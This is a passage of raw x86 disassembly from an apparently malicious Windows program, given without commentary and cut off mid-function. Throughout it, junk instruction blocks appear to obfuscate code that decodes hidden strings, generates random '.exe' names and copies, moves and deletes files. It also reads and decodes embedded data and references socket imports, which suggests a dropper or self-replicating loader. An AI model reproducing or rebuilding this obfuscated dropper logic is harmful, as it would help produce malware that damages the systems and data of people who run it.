push edx
call fcn.00407a00
add esp, 0x20
push eax
mov ecx, 0x41e348
call fcn.0040fe70
lea ecx, [ebp - 0x960]
call fcn.0040fa10
mov eax, dword [0x41a718]
push eax
push str.
push 0
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.00414960
push eax
push 0
lea ecx, [ebp - 0x180]
push ecx
push 0
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.004176f0
lea edx, [ebp - 0x180]
push edx
lea ecx, [ebp - 0x408]
call fcn.0040f350
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x41a514
lea ecx, [ebp - 0x180]
call fcn.004104d0
push 0x41a518
lea ecx, [ebp - 0x408]
call fcn.004104d0
push edi
sub edi, eax
mov edi, 0x78811fba
add edi, eax
sub edi, esp
nop
pop edi
mov dword [ebp - 0x84], 6
jmp 0x4024fb
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
mov ecx, 0x41e324
call fcn.004175c0
cmp dword [ebp - 0x84], eax
jae 0x402580
mov ecx, dword [ebp - 0x84]
push ecx
mov ecx, 0x41e324
call fcn.00410220
mov ecx, eax
call fcn.00417520
sub eax, 1
push eax
mov edx, dword [ebp - 0x84]
push edx
mov ecx, 0x41e324
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov byte [eax], 0x6c
mov eax, dword [ebp - 0x84]
push eax
mov ecx, 0x41e324
call fcn.00410220
mov ecx, eax
call fcn.00417520
sub eax, 2
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov ecx, 0x41e324
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov byte [eax], 0x6c
jmp 0x4024ec
push esi
mov esi, 0x3afe05d6
mov esi, 0x494868c2
add esi, ebp
pop esi
push 0x41a51c
lea ecx, [ebp - 0x498]
call fcn.00410490
mov dword [ebp - 0xd0], 0
jmp 0x4025b9
mov edx, dword [ebp - 0xd0]
add edx, 1
mov dword [ebp - 0xd0], edx
mov ecx, 0x41e324
call fcn.004175c0
cmp dword [ebp - 0xd0], eax
jae 0x402627
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5b0], esp
push 0x41e384
call fcn.0040f0c0
mov eax, dword [ebp - 0xd0]
push eax
mov ecx, 0x41e324
call fcn.00410220
push eax
lea ecx, [ebp - 0x978]
push ecx
call fcn.00407a00
add esp, 0x20
push eax
mov edx, dword [ebp - 0xd0]
push edx
mov ecx, 0x41e324
call fcn.00410220
mov ecx, eax
call fcn.0040fe70
lea ecx, [ebp - 0x978]
call fcn.0040fa10
jmp 0x4025aa
mov dword [ebp - 0x58], 0
jmp 0x402639
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
mov ecx, 0x41e36c
call fcn.00417520
cmp dword [ebp - 0x58], eax
jae 0x402702
push ecx
mov ecx, 0x5fb63bab
sbb ecx, eax
xor ecx, ebx
sub ecx, esp
nop
pop ecx
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, 0x41e36c
call fcn.00410180
movsx edx, byte [eax]
cmp edx, 0x2d
jne 0x402691
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x41e36c
call fcn.00410180
mov byte [eax], 0x6f
push edx
mov edx, 0x654b77e5
mov edx, 0x6f957827
sub edx, ebx
pop edx
jmp 0x4026fd
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, 0x41e36c
call fcn.00410180
movsx edx, byte [eax]
cmp edx, 0x40
jne 0x4026c8
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x41e36c
call fcn.00410180
mov byte [eax], 0x5c
push ebx
mov ebx, 0x6d3f419a
mov ebx, 0x3a1e0113
sbb ebx, ebp
pop ebx
jmp 0x4026fd
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, 0x41e36c
call fcn.00410180
movsx edx, byte [eax]
cmp edx, 0x31
jne 0x4026fd
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x41e36c
call fcn.00410180
mov byte [eax], 0x75
push esi
or esi, ebx
mov esi, 0x5ca32c81
mov esi, 0x29551190
pop esi
jmp 0x402630
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5b4], esp
push 0x41e384
call fcn.0040f0c0
push 0x41e36c
lea ecx, [ebp - 0x990]
push ecx
call fcn.00407a00
add esp, 0x20
push eax
mov ecx, 0x41e36c
call fcn.0040fe70
lea ecx, [ebp - 0x990]
call fcn.0040fa10
lea ecx, [ebp - 0x3f0]
call fcn.0040f4b0
push edi
and edi, esp
sub edi, ebx
mov edi, 0x566afe
sbb edi, esp
nop
pop edi
lea edx, [ebp - 0x3f0]
push edx
lea eax, [ebp - 0x1c8]
push eax
call fcn.0040a590
add esp, 8
push ebx
mov ebx, 0x149b5015
or ebx, esi
mov ebx, 0x60722a3a
pop ebx
lea ecx, [ebp - 0x1c8]
call fcn.00414360
movzx ecx, al
test ecx, ecx
je 0x40290d
push 8
lea ecx, [ebp - 0x1c8]
call fcn.00416e30
push ecx
mov ecx, 0x63be502b
sbb ecx, esi
mov ecx, 0x5cfb4157
pop ecx
mov dword [ebp - 0x104], 0
jmp 0x4027ca
mov edx, dword [ebp - 0x104]
add edx, 1
mov dword [ebp - 0x104], edx
lea ecx, [ebp - 0x1c8]
call fcn.00417540
cmp dword [ebp - 0x104], eax
jae 0x402810
push 0x7a
push 0x61
call fcn.0040a010
add esp, 8
mov esi, eax
mov eax, dword [ebp - 0x104]
push eax
lea ecx, [ebp - 0x1c8]
call fcn.004101c0
mov word [eax], si
push ebp
mov ebp, 0x2f206e88
or ebp, esp
mov ebp, 0x6eb718c3
pop ebp
jmp 0x4027bb
push 0x20
lea ecx, [ebp - 0x1c8]
call fcn.00415a90
push edi
mov edi, 0x796f4e8b
xor edi, esp
sbb edi, eax
xor edi, eax
nop
pop edi
push 0x20
lea ecx, [ebp - 0x1c8]
call fcn.00415a90
push ebp
sbb ebp, edi
or ebp, ebx
mov ebp, 0x2771797
xor ebp, ecx
nop
pop ebp
push 0x20
lea ecx, [ebp - 0x1c8]
call fcn.00415a90
push ebx
or ebx, eax
mov ebx, 0x76556c08
or ebx, esp
add ebx, edx
nop
pop ebx
push ebp
mov ebp, 0x71cd7bc0
mov ebp, 0x1191172d
xor ebp, ecx
pop ebp
lea ecx, [ebp - 0x1c8]
call fcn.00417540
sub eax, 1
push eax
lea ecx, [ebp - 0x1c8]
call fcn.004101c0
mov ecx, 0x65
mov word [eax], cx
push esi
mov esi, 0x5e6e019d
mov esi, 0x179836f2
sub esi, ebx
pop esi
push ebx
mov ebx, 0x6d347f04
mov ebx, 0x390d6896
add ebx, esp
pop ebx
lea ecx, [ebp - 0x1c8]
call fcn.00417540
sub eax, 2
push eax
lea ecx, [ebp - 0x1c8]
call fcn.004101c0
mov edx, 0x78
mov word [eax], dx
push ebx
mov ebx, 0x3a1a3ada
mov ebx, 0x5f1168ca
xor ebx, esp
pop ebx
lea ecx, [ebp - 0x1c8]
call fcn.00417540
sub eax, 3
push eax
lea ecx, [ebp - 0x1c8]
call fcn.004101c0
mov ecx, 0x65
mov word [eax], cx
push ecx
sbb ecx, ebp
mov ecx, 0x457d1350
mov ecx, 0x77a27569
pop ecx
mov dword [ebp - 0xd4], 0
jmp 0x402928
mov edx, dword [ebp - 0xd4]
add edx, 1
mov dword [ebp - 0xd4], edx
mov ecx, 0x41e360
call fcn.004175c0
cmp dword [ebp - 0xd4], eax
jae 0x402996
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5b8], esp
push 0x41e384
call fcn.0040f0c0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, 0x41e360
call fcn.00410220
push eax
lea ecx, [ebp - 0x9a8]
push ecx
call fcn.00407a00
add esp, 0x20
push eax
mov edx, dword [ebp - 0xd4]
push edx
mov ecx, 0x41e360
call fcn.00410220
mov ecx, eax
call fcn.0040fe70
lea ecx, [ebp - 0x9a8]
call fcn.0040fa10
jmp 0x402919
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x180]
call fcn.004104b0
mov dword [ebp - 0x128], 0
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
push 1
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x402a02
cmp dword [ebp - 0x128], 5
jge 0x402a02
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x128]
add ecx, 1
mov dword [ebp - 0x128], ecx
jmp 0x4029b2
mov dword [ebp - 0x128], 0
push edi
mov edi, 0x2c9609a0
add edi, eax
or edi, eax
sub edi, ecx
nop
pop edi
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x138], 0
lea ecx, [ebp - 0x258]
call fcn.0040f290
mov dword [ebp - 0x10c], 0
jmp 0x402a54
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
push 2
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.00417540
cmp dword [ebp - 0x10c], eax
jae 0x402aac
mov eax, dword [ebp - 0x10c]
push eax
push 2
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.004101c0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x258]
call fcn.00410470
push edi
mov edi, 0x2cd53739
mov edi, 0x65ea7f3a
sub edi, esi
pop edi
jmp 0x402a45
lea ecx, [ebp - 0x14e]
call fcn.0040ef70
push eax
lea eax, [ebp - 0x5bc]
push eax
lea ecx, [ebp - 0x258]
call fcn.00414410
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x5c0]
push edx
lea ecx, [ebp - 0x258]
call fcn.00413e10
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x3d8]
call fcn.0040c590
mov dword [ebp - 0x110], 0
jmp 0x402b08
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
push 2
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.00417540
cmp dword [ebp - 0x110], eax
jae 0x402b5e
mov edx, dword [ebp - 0x110]
push edx
push 2
lea ecx, [ebp - 0xb8]
call fcn.00410240
mov ecx, eax
call fcn.004101c0
movzx eax, word [eax]
add eax, dword [ebp - 0x134]
mov dword [ebp - 0x134], eax
push ebx
mov ebx, 0x31072567
mov ebx, 0x51e40d1b
sub ebx, edx
pop ebx
jmp 0x402af9
push edi
sbb edi, ecx
mov edi, 0x7a177008
mov edi, 0x56b83805
pop edi
mov dword [ebp - 0x114], 0
jmp 0x402b87
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x134]
jge 0x402bb7
mov eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x114]
mov dword [ebp - 0x138], eax
push ebp
mov ebp, 0x9c730bf
xor ebp, edx
mov ebp, 0x3b910721
pop ebp
jmp 0x402b78
push ebp
mov ebp, 0x31b4015f
sbb ebp, edx
mov ebp, 0x69365af9
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5c4], esp
push 0x41e384
call fcn.0040f0c0
push 8
mov ecx, 0x41e324
call fcn.00410220
push eax
lea ecx, [ebp - 0x480]
push ecx
call fcn.00407a00
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5c8], esp
push 0x41e384
call fcn.0040f0c0
push 9
mov ecx, 0x41e324
call fcn.00410220
push eax
lea edx, [ebp - 0x468]
push edx
call fcn.00407a00
add esp, 0x20
lea ecx, [ebp - 0x14f]
call fcn.0040ef70
push eax
lea eax, [ebp - 0x5cc]
push eax
lea ecx, [ebp - 0x480]
call fcn.00414410
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x5d0]
push edx
lea ecx, [ebp - 0x480]
call fcn.00413e10
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0040c590
lea ecx, [ebp - 0x129]
call fcn.0040ef70
push eax
lea ecx, [ebp - 0x5d4]
push ecx
lea ecx, [ebp - 0x468]
call fcn.00414410
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x5d8]
push eax
lea ecx, [ebp - 0x468]
call fcn.00413e10
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x3a8]
call fcn.0040c590
mov edx, dword [ebp - 0x138]
push edx
lea eax, [ebp - 0x390]
push eax
call fcn.004177a0
add esp, 8
lea ecx, [ebp - 0x12a]
call fcn.0040ef70
push eax
lea ecx, [ebp - 0x5dc]
push ecx
lea ecx, [ebp - 0x390]
call fcn.00414410
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x5e0]
push eax
lea ecx, [ebp - 0x390]
call fcn.00413e10
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x9c0]
call fcn.0040c590
push eax
mov ecx, 0x41e30c
call fcn.0040fff0
lea ecx, [ebp - 0x9c0]
call fcn.0040fa50
push 0x800
push 0
lea edx, [ebp - 0x3128]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x3d8]
call fcn.00413f30
push eax
lea eax, [ebp - 0x1128]
push eax
push 0x41a520
lea ecx, [ebp - 0x3128]
push ecx
call fcn.00417740
add esp, 0x10
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea edx, [ebp - 0x3d8]
push edx
lea ecx, [ebp - 0x2e8]
call fcn.0040f350
lea eax, [ebp - 0x5e4]
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00414480
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x5e8]
push edx
lea ecx, [ebp - 0x2e8]
call fcn.00413e80
mov eax, dword [eax]
push eax
call fcn.0040e920
add esp, 8
push 0x800
push 0
lea ecx, [ebp - 0x2128]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x2e8]
call fcn.00413f30
push eax
lea edx, [ebp - 0x1128]
push edx
push 0x41a52c
lea eax, [ebp - 0x2128]
push eax
call fcn.00417740
add esp, 0x10
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
lea ecx, [ebp - 0x378]
call fcn.0040f4b0
lea ecx, [ebp - 0x2128]
push ecx
lea ecx, [ebp - 0x378]
call fcn.004100e0
push 1
lea ecx, [ebp - 0xb8]
call fcn.00410240
push eax
lea edx, [ebp - 0x9f0]
push edx
call fcn.00407d00
add esp, 8
push eax
push 0x41a538
lea eax, [ebp - 0x9d8]
push eax
call fcn.0040cb70
add esp, 0xc
push eax
lea ecx, [ebp - 0x378]
call fcn.004104b0
lea ecx, [ebp - 0x9d8]
call fcn.0040fa50
lea ecx, [ebp - 0x9f0]
call fcn.0040fa50
lea ecx, [ebp - 0x360]
call fcn.0040f4b0
lea ecx, [ebp - 0x2128]
push ecx
lea ecx, [ebp - 0x360]
call fcn.004100e0
lea edx, [ebp - 0x3c0]
push edx
push 0x41a53c
lea eax, [ebp - 0xa08]
push eax
call fcn.0040cbb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x360]
call fcn.004104b0
lea ecx, [ebp - 0xa08]
call fcn.0040fa50
lea ecx, [ebp - 0x348]
call fcn.0040f4b0
lea ecx, [ebp - 0x2128]
push ecx
lea ecx, [ebp - 0x348]
call fcn.004100e0
lea edx, [ebp - 0x3a8]
push edx
push 0x41a540
lea eax, [ebp - 0xa20]
push eax
call fcn.0040cbb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x348]
call fcn.004104b0
lea ecx, [ebp - 0xa20]
call fcn.0040fa50
lea ecx, [ebp - 0x378]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x360]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x348]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea ecx, [ebp - 0x3d8]
call fcn.00413f30
push eax
call fcn.0040aba0
add esp, 8
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
push 1
lea ecx, [ebp - 0x2e8]
call fcn.00413f30
push eax
call fcn.0040aba0
add esp, 8
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
push 0
push 0
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
mov ecx, 0x41e330
call fcn.00413f30
push eax
call fcn.0040b5b0
add esp, 0x10
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
push 0x800
push 0
lea ecx, [ebp - 0x3928]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
mov ecx, 0x41e330
call fcn.00413f30
push eax
lea edx, [ebp - 0x1128]
push edx
push 0x41a544
lea eax, [ebp - 0x3928]
push eax
call fcn.00417740
add esp, 0x10
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
push 0x41e330
lea ecx, [ebp - 0x2d0]
call fcn.0040f350
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
lea ecx, [ebp - 0x5ec]
push ecx
lea ecx, [ebp - 0x2d0]
call fcn.00414480
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00413e80
mov ecx, dword [eax]
push ecx
call fcn.0040e920
add esp, 8
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
push 0x800
push 0
lea edx, [ebp - 0x2928]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
lea ecx, [ebp - 0x2d0]
call fcn.00413f30
push eax
lea eax, [ebp - 0x1128]
push eax
push str._s_s
lea ecx, [ebp - 0x2928]
push ecx
call fcn.00417740
add esp, 0x10
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
lea edx, [ebp - 0x2928]
push edx
lea ecx, [ebp - 0x2b8]
call fcn.0040f450
push 0x41a55c
lea ecx, [ebp - 0x2b8]
call fcn.004104d0
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x2b8]
call fcn.004104b0
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
lea ecx, [ebp - 0x2928]
push ecx
lea ecx, [ebp - 0x330]
call fcn.0040f450
push 0x41a560
lea ecx, [ebp - 0x330]
call fcn.004104d0
lea edx, [ebp - 0x3c0]
push edx
lea ecx, [ebp - 0x330]
call fcn.004104b0
lea eax, [ebp - 0x2928]
push eax
lea ecx, [ebp - 0x318]
call fcn.0040f450
push 0x41a564
lea ecx, [ebp - 0x318]
call fcn.004104d0
lea ecx, [ebp - 0x3a8]
push ecx
lea ecx, [ebp - 0x318]
call fcn.004104b0
lea edx, [ebp - 0x3c0]
push edx
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x6b8]
push ecx
call fcn.0040cad0
add esp, 0xc
lea edx, [ebp - 0x3a8]
push edx
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x6a0]
push ecx
call fcn.0040cad0
add esp, 0xc
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00413f30
push eax
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
push 0
lea ecx, [ebp - 0x330]
call fcn.00413f30
push eax
lea ecx, [ebp - 0x6b8]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
push 0
lea ecx, [ebp - 0x318]
call fcn.00413f30
push eax
lea ecx, [ebp - 0x6a0]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
push 1
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00413f30
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00413f30
push eax
call fcn.0040b5b0
add esp, 0x10
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
lea edx, [ebp - 0x1128]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x3128]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [ebp - 0x2128]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea edx, [ebp - 0x3928]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov byte [ebp - 0xd], 1
push 0x41a578
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 0xc4], eax
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
cmp dword [ebp - 0xc4], 0
je 0x4064e2
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
push 2
push 0
mov eax, dword [ebp - 0xc4]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 0x40], eax
push 0
push 0
mov edx, dword [ebp - 0xc4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
mov eax, dword [ebp - 0x40]
push eax
call fcn.00417e72
add esp, 4
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x1ec]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x40]
push eax
push 1
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov edx, dword [ebp - 0xc4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x41a594
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x13c], 0
cmp dword [ebp - 0xc0], 0
jne 0x40355f
push 0x41a59c
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0x13c], 0x32
jge 0x40341c
mov eax, dword [ebp - 0x13c]
add eax, 1
mov dword [ebp - 0x13c], eax
jmp 0x40354f
mov dword [ebp - 0x1f0], 0
lea ecx, [ebp - 0x6a0]
call fcn.0040fa50
lea ecx, [ebp - 0x6b8]
call fcn.0040fa50
lea ecx, [ebp - 0x318]
call fcn.0040fa50
lea ecx, [ebp - 0x330]
call fcn.0040fa50
lea ecx, [ebp - 0x2b8]
call fcn.0040fa50
lea ecx, [ebp - 0x2d0]
call fcn.0040fa50
lea ecx, [ebp - 0x348]
call fcn.0040fa50
lea ecx, [ebp - 0x360]
call fcn.0040fa50
lea ecx, [ebp - 0x378]
call fcn.0040fa50
lea ecx, [ebp - 0x2e8]
call fcn.0040fa50
lea ecx, [ebp - 0x390]
call fcn.0040fa10
lea ecx, [ebp - 0x3a8]
call fcn.0040fa50
lea ecx, [ebp - 0x3c0]
call fcn.0040fa50
lea ecx, [ebp - 0x468]
call fcn.0040fa10
lea ecx, [ebp - 0x480]
call fcn.0040fa10
lea ecx, [ebp - 0x3d8]
call fcn.0040fa50
lea ecx, [ebp - 0x258]
call fcn.0040fa10
lea ecx, [ebp - 0x1c8]
call fcn.0040fa50
lea ecx, [ebp - 0x3f0]
call fcn.0040fa50
lea ecx, [ebp - 0x408]
call fcn.0040fa50
lea ecx, [ebp - 0x180]
call fcn.0040fa50
lea ecx, [ebp - 0x498]
call fcn.0040fa10
lea ecx, [ebp - 0x6d0]
call fcn.0040fa10
lea ecx, [ebp - 0x270]
call fcn.0040fa10
lea ecx, [ebp - 0xb8]
call fcn.0040fc00
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x1f0]
jmp 0x406dfc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4033d2
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5f4], esp
lea edx, [ebp - 0x258]
push edx
call fcn.0040f0c0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5f8], esp
lea eax, [ebp - 0x270]
push eax
call fcn.0040f0c0
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.00408c90
add esp, 0x38
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004071b0
add esp, 8
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5fc], esp
push 0x41a355
call fcn.0040f1c0
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.00409b40
add esp, 0x20
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x140], 0xa
mov ecx, dword [ebp - 0x118]
push ecx
lea edx, [ebp - 0x1b0]
push edx
call fcn.004177a0
add esp, 8
mov dword [ebp - 0x60], 0
jmp 0x403626
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x1f4]
jge 0x403b63
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x600], esp
push 0x41a356
call fcn.0040f1c0
mov edx, dword [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00409f30
add esp, 0x24
mov dword [ebp - 0x1d4], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x604], esp
push 0x41a357
call fcn.0040f1c0
push 0
mov edx, dword [ebp - 0x1d4]
add edx, 0x18
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00408a70
add esp, 0x28
mov dword [ebp - 0x228], eax
mov edx, dword [ebp - 0x140]
add edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x1d4]
add eax, 0x18
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x228]
sub ecx, dword [ebp - 0x144]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x144]
push edx
lea ecx, [ebp - 0x300]
call fcn.0040f220
push ecx
mov ecx, 0xeaa6935
xor ecx, esp
mov ecx, 0x64c106ee
pop ecx
mov dword [ebp - 0x11c], 0
jmp 0x40370a
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
lea ecx, [ebp - 0x300]
call fcn.00417520
cmp dword [ebp - 0x11c], eax
jae 0x40375d
mov ecx, dword [ebp - 0x11c]
push ecx
lea ecx, [ebp - 0x300]
call fcn.00410180
mov dword [ebp - 0x1d8], eax
mov edx, dword [ebp - 0x60]
add edx, 1
and edx, reloc.WS2_32.dll_closesocket
jns 0x403748
dec edx
or edx, 0xfffffffc
inc edx
mov eax, dword [ebp - 0x1d8]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x1d8]
mov byte [edx], cl
jmp 0x4036fb
lea ecx, [ebp - 0x670]
call fcn.0040f290
lea ecx, [ebp - 0x300]
call fcn.00417520
push eax
lea ecx, [ebp - 0x670]
call fcn.00416d00
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x88], 0
jmp 0x4037a1
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x300]
call fcn.00417520
cmp dword [ebp - 0x88], eax
jae 0x403843
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x60]
jne 0x403812
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x300]
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x670]
